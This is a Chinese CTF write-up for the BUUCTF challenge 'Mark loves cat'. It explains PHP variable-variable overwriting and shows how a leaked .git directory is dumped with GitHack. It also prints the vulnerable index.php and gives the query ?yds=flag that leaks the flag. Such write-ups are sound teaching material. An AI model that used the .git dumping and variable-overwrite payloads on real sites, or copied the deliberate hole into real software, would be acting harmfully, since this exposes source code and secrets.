zoukankan      html  css  js  c++  java
  • BUUCTF-[BJDCTF2020]Mark loves cat (变量覆盖)

    考点:

    1、.git泄露
    2、$$导致的变量覆盖

    变量覆盖漏洞参考:CTF之php变量覆盖漏洞

    jjjc

    1、$$x是可变变量,普通变量的值作为这个可变变量的变量名,等价于$($x)
    参考:https://www.php.net/manual/zh/language.variables.variable.php
    2、

    foreach ($variable as $key => $value){
    	$$key = $value;
    }
    

    foreach是一条语句,as和=>是关键字

    <?php
    $flag=0;
    foreach ($_GET as $x => $y) {
        $$x=$y;
    }
    echo $flag;
    


    $$导致的变量变量覆盖常出现在foreach中,通过GET或POST获取键名,并将键名作为变量名,将键值赋给该变量,在url输入?flag=1覆盖了原来的$flag变量

    3、exit(message)函数:输出一条信息,并退出当前脚本

    解题:

    1、用dirb命令扫描目录,发现存在.git泄露
    2、用GitHack脚本获取源码:

    python GitHack.py http://61cb2a6a-950e-42a3-b228-396efe9a4ebf.node3.buuoj.cn/.git/
    

    3、代码审计

    flag.php:

    <?php
    $flag = file_get_contents('/flag');#将flag文件的内容赋给`$flag`
    

    index.php:

    <?php
    
    include 'flag.php';
    
    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';
    
    foreach($_POST as $x => $y){
        $$x = $y;
    }
    
    foreach($_GET as $x => $y){
        $$x = $$y;
    }
    
    foreach($_GET as $x => $y){
    	#get的flag参数不等于flag
        if($_GET['flag'] === $x && $x !== 'flag'){
            exit($handsome);
        }
    }
    #2种都不能有flag参数
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
        exit($yds);
    }
    #post的flag参数绝对等于flag 或 get的flag参数绝对等于flag
    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
        exit($is);
    }
    
    echo "the flag is: ".$flag;
    

    第1条foreach语句,将POST的参数进行变量覆盖
    第2条foreach语句,将GET的参数进行变量覆盖,有点区别是第1个的键值是$y,第2个的键值是$$y

    3个if利用一个就行了,利用exit($yds)将原来的$flag输出

    foreach($_GET as $x => $y){
        $$x = $$y;
    }
    

    GET:?yds=flag
    $x为yds,$y为flag,得到$$x$yds$$y$flag$yds=$flag=flag{xxx},在第25行输出的$yds就是$flag

  • 相关阅读:
    什么是method swizzling
    手机安全卫士——手机防盗页面
    手机安全卫士——在设置中心 自定义view和自定义属性
    手机安全卫士——主界面的开发
    手机安全卫士——闪屏页相关处理
    Android开发学习——自定义View
    C#开发学习——SqlHelper的应用
    基本的SQL语句
    C#开发学习——常用的正则表达式
    C#开发学习——存储过程
  • 原文地址:https://www.cnblogs.com/wrnan/p/13040754.html
Copyright © 2011-2022 走看看